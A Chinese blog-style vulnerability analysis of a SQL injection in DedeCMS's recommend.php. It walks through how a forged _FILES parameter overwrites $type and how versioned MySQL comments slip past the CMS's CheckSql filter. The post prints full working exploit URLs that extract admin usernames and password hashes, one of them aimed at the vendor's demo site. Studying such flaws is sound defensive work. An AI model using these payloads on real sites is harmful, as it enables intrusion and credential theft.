DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析

漏洞执行过程

1.首先执行到plus/recommand.php,包含了include/common.inc.php

require_once(dirname(__FILE__)."/../include/common.inc.php");

2来看到include/common.inc.php

function _RunMagicQuotes(&$svar)
{
   if(!get_magic_quotes_gpc())
    {
       if( is_array($svar) )
       {
           foreach($svar as $_k =>$_v) $svar[$_k] = _RunMagicQuotes($_v);
       }
       else
       {
           if( strlen($svar)>0 &&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
           {
              exit('Request var not allow!');
           }
           $svar = addslashes($svar);
       }
    }
   return $svar;
}
 
if (!defined('DEDEREQUEST'))
{
   //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
   function CheckRequest(&$val) {
       if (is_array($val)) {
           foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
           }
       } else
       {
           if( strlen($val)>0 &&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )
           {
                exit('Request var not allow!');
           }
       }
    }
   
   //var_dump($_REQUEST);exit;
   CheckRequest($_REQUEST);
 
   foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
       foreach($$_request as $_k => $_v)
                   {
                            if($_k== 'nvarname') ${$_k} = $_v;
                            else${$_k} = _RunMagicQuotes($_v);
                   }
    }
}

只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入

 

3.然后142行又包含了include/uploadsafe.inc.php文件


在29行处,URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖

$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); 

4.回到recommand.php中,注入语句被带入数据库查询,代码38行:

$arcRow=$dsql->GetOne("SELECTs.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ONs.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");


以上是漏洞执行过程,下面看一下具体的数据变化:

漏洞Exp:

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

参数如下:

?action=
&aid=1
&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294

其中最重要的参数是_FILES[type][tmp_name]

 

0.原始数据

\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

1.URL提交进来后,\ 和 ’ 分别被转义成 \\ 和 \’

\\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\'`

2.URL被带入include/common.inc.php中检查,此步数据未发生变化


3.然后来到了include/uploadsafe.inc.php中,经过第29行str_replace后,\\被过滤成了\

$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);

\\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\'`

此时引号被成功的带入了查询语句中


4.回到plus/recommend.php中,第38行,此时SQL语句被拼成如下:

SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` '

5.跟踪GetOne函数,来到include/dedesqli.class.php,346行SetQuery函数,将SQL语句中的表前缀#@_替换回真成的前缀

SELECT s.*,t.* FROM `dede_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '

6.然后执行了Execute函数,转到288行Execute函数的定义,看到在执行SQL之前对其进行了检查

DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析_第1张图片

(1)第一次SQL注入检测。跟踪到CheckSql函数中,首先是对sql语句的一次正则,主要看是否存在union|sleep|benchmark|load_file|outfile等关键字,


用正则工具测试,可以看到此时的SQL语句可以绕过第一次sql注入检测

DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析_第2张图片

(2)第二次SQL注入检测。主要在第626行的While循环中,将所有单引号之间的字符串全部替换成$s$

//完整的SQL检查
       while (TRUE)
       {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
           {
                break;
           }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
           {
                $pos1 = strpos($db_string,'\'', $pos + 1);
                $pos2 = strpos($db_string,'\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2> $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
           }
           $clean .= '$s$';
           $old_pos = $pos + 1;
       }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '),$clean)));

经过此次过滤后,SQL语句变成(注意被替换掉的部分):

select s.*,t.* from `dede_member_stow` as sleft join `dede_member_stowtype` as t on s.type=t.stowname where s.aid=$s$ ands.type=$s$ or mid=@`\\$s$` $s$

紧接下来是另一次的union|sleep|benchmark|load_file|outfile等关键字检测,此时的正则规则更严格,但union,select等关键字已被替换成$s$,因此不会触发正则

 

7.CheckSql函数仅是对sql语句进行检测,并不会改变原来的查询语句,Sql检查完成后,回到Execute函数,5中的SQL语句最终被带入查询

SELECT s.*,t.* FROM `dede_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '

DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析_第3张图片

 

8.Sql成功执行,查询结果以数组的形式返回给plus/recommend.php中的$arcRow中(38行),最终显示回显到Web页面上

$arcRow=$dsql->GetOne("SELECTs.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ONs.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");


 

注:

所构造SQL语句中的几个关键点:

\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

还原成非URL编码,看起来更直观:

\' or mid=@`\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\'`

(1)or mid=@`\’` 和尾部#@`\'` 存在的意义。刚开始一直没明白加入mid有什么作用,但去掉后就无法正常执行SQL查询,后来发现,在checksql函数中第二次SQL检查时,这两个里的单引号正好可以匹配SQL检查中的规则,使得单引号中的所有字符被替换成$s$,从而躲过下面的union,select等关键字匹配(其实尾部不需要再添加一个单引号了,但#号是必须的,因为在plus/recommand.php第38行拼接SQL时,最后有一个单引号来闭合前面的了,可参考本节后修改后的Exp)。mid可以为dede_member_stow表或dede_member_stowtype表中其它字段名,如id等,只要最终的SQL能成功执行即可。@标签可以屏蔽执行时的错误(不知道具体为什么),尾部的#号将其后的字符注释掉,防止错误。

(2)/*!50000union*//*!50000select*/。这种写法是Mysql中特有的方式,MySQL服务器包含一些其他SQLDBMS中不具备的扩展。在某些情况下,可以编写包含MySQL扩展的代码,但仍保持其可移植性,方法是用“/*... */”注释掉这些扩展。如果在字符“!”后添加了版本号,仅当MySQL的版本等于或高于指定的版本号时才会执行注释中的语法。具体参考:http://blog.itpub.net/82392/viewspace-406705

此例中,union和select虽然被注释符包围,但根据Mysql的这个特性,仍然能够执行。50000表示Mysql版本大于5.0

(3)CONCAT(0x7c,userid,0x7c,pwd)。这个就很容易理解了,将userid和pwd两个字段的查询结果拼成一个字符串,方便处理,查询结果类似:|admin|f297a57a5a743894a0e4

根据以上分析,可以将Exp修改如下:(截止到2014.3.5,官方演示站点仍可执行成功)

http://v57.demo.dedecms.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294


漏洞修复:

根据官方发布的漏洞补丁,主要修改文件include/uploadsafe.inc.php中第29行(上面为修复前,下面为修复后):


 

 

参考:

[1] http://0day5.com/archives/1346

[2] http://blog.itpub.net/82392/viewspace-406705


第一次分析代码,如有错误或不足,肯请指正!Email:change518#163.com

你可能感兴趣的:(DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析)